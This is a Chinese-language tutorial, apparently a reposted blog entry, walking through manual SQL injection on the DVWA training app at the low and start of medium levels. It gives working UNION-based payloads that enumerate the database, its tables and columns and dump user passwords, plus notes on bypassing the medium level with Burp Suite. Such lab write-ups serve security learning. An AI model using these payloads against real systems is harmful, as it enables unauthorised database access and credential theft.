一, SQL 注入概念
SQL 注入是指攻击者通过注入恶意的 SQL 命令, 破坏 SQL 查询语句的结构, 从而达到执行恶意 SQL 语句的目的.
二, 手工注入常规思路
1. 判断是否存在注入, 注入是字符型还是数字型
2. 猜解 SQL 查询语句中的字段数
3. 确定回显位置
4. 获取当前数据库
5. 获取数据库中的表
6. 获取表中的字段名
7. 得到数据
三, DVWA 注入分析
将 DVWA 的级别设置为 low
1. 分析源码, 可以看到没有对参数做任何的过滤,, 直接带入数据库进行查询, 分析 sql 查询语句, 可能存在字符型 sql 注入.
2. 判断 sql 是否存在存入,, 以及注入的类型. 1'and'1'='1
3. 猜解 SQL 查询语句中的字段数, 1' order by 1#
1' order by 2#
1' order by 3# 从上面两个图, 可以说明,,SQL 语句查询的表的的字段数位 2,
确定显示的位置 (SQL 语句查询之后的回显位置)
1' union select 1,2# #从下图可以看出有 2 个回显
查询当前的数据库, 以及版本
1' union select version(),database()#
获取数据库中的表,
1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#
获取表中的字段名,
1'union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
获得字段中的数据,
1' union select user, password from users#
- _________________________________________________________________________
- _________________________________________________________________________
将 DVWA 的级别设置为 Medium
中级加入了一些防御,, 不让用户输入, 只提供选择 (可以用 burpsuit 抓包来绕过),
分析源码可以看到对参数使用 mysql_real_escape_string 函数转义 sql 语句中的一些
特殊字符, 查看 sql 查询语句可以看出可能存在数字型 sql 注入.
分析源码
通过 burpsuit 抓包, 修改数据包,, 绕过防御. 判断注入点, 以及注入的类型, 下图可以看到,
存在注入, 注入类型是数字型注入.
1 and 1=1#
来源: http://www.bubuko.com/infodetail-3333197.html